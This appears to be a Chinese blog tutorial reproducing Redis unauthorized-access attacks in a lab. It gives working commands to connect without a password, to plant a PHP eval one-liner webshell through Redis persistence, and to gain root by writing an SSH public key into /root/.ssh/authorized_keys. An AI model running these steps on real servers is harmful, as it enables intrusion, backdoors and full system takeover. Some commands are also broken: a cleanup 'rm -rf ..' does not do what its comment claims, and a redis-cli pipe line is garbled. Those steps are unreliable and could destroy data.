Redis未授权访问漏洞复现(三种方式)

目录

利用无口令远程登陆redis

利用Redis的持久化写webshell

安装

复现

Redis 利用持久化,利用“公私钥“认证获取root权限


利用无口令远程登陆redis

开了web服务器,并且知道对方IP地址就可以

./redis-server ../redis.conf

./redis-cli -h 192.168.0。0[目标靶机地址]


利用Redis的持久化写webshell

安装

由于靶场没有开启web服务器,配置好apache和php

firewall-cmd --zone=public --add-port=80/tcp --permanent   #开启80端口

systemctl restart firewalld.service    #重启反获取

yum install php php-mysql -y   

php -v

vi /etc/httpd/conf/httpd.conf 在配置文件中,添加如下内容:

AddType application/x-httpd-php-source .phps

AddType application/x-httpd-php .php

php -v

cd /var/www/html

vi info.php   #新建并编写info.php文件   内容为<? php phpinfo() ?>
  
systemctl restart httpd   #重启httpd服务

在其他计算机里测试 ip地址/info.php如出现PHP version界面,则成功

复现

靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

要开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件。)

在html目录下写入一个test.php的木马文件:

攻击机写下如下redis命令

写一句话木马

Config set dbfilename test1.php

set webshell "

<?php @eval($_POST['caidao']);?>

"

Save 

打开菜刀进行连接到有一句话木马的文件里

双击菜刀首页的那个连接,就能获得所有的网站的文件内容


Redis 利用持久化,利用“公私钥“认证获取root权限

靶机要启动进入redis.cli服务里

在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

会有一堆问题,但不用管 回车跳过就可以了

进入/root/.ssh目录: 将生成的公钥保存到1.txt:

cd /root/.ssh

(echo -e "

"; cat id_rsa.pub; echo -e "

") > 1.txt

连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis

使用redis-cli -h ip命令连接靶机,将文件写入:

# 这里试了很多次一直出现下图错误,手打一遍才成功,有如下问题的,可以试一试

实际上是靶机没有.ssh程序 在靶机上安装一个即可

cat 1.txt | redis-cli -h [靶机ip地址] -x?set?crack

因为我此时在的路径里只有1.txt,没有redis服务,所以在管道符后面补充了redis所在的路径成功

接下来redis连接目标靶机,进入redis存放路径的src路径里,并执行以下操作

# 如果config set dir /root/.ssh 此条命令出错,新打开一条终端,进入ssh目录下,再试一遍

./redis-cli -h 192.168.0.0[靶机ip地址]

config set dir /root/.ssh     #更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

CONFIG SET dbfilename authorized_keys   #设置上传公钥的备份文件名字为authorized_keys

save     #保存

quit

在靶机上查看一下ssh目录里是否有authorized_keys文件

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:

ssh -i id_rsa root@192.168.0.0[目标靶机ip地址]

登陆靶机服务器,获得root权限成功

#注意:所有操作皆在攻击机(客户机)里操作,靶机只需要进入redis.cli中以及查询ssh中是否有authorized_keys文件即可。


如果有些操作一直错误,可以重头来一遍 需执行以下命令(攻击机、靶机都要删干净)

cd /root/.ssh

rm -rf ..    # 把ssh里的所有文件都删掉   a* 以a开头的所有文件

删干净之后就可以重新来了。(我试了n遍才做出来,大家不要着急,慢慢来(#.#))

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值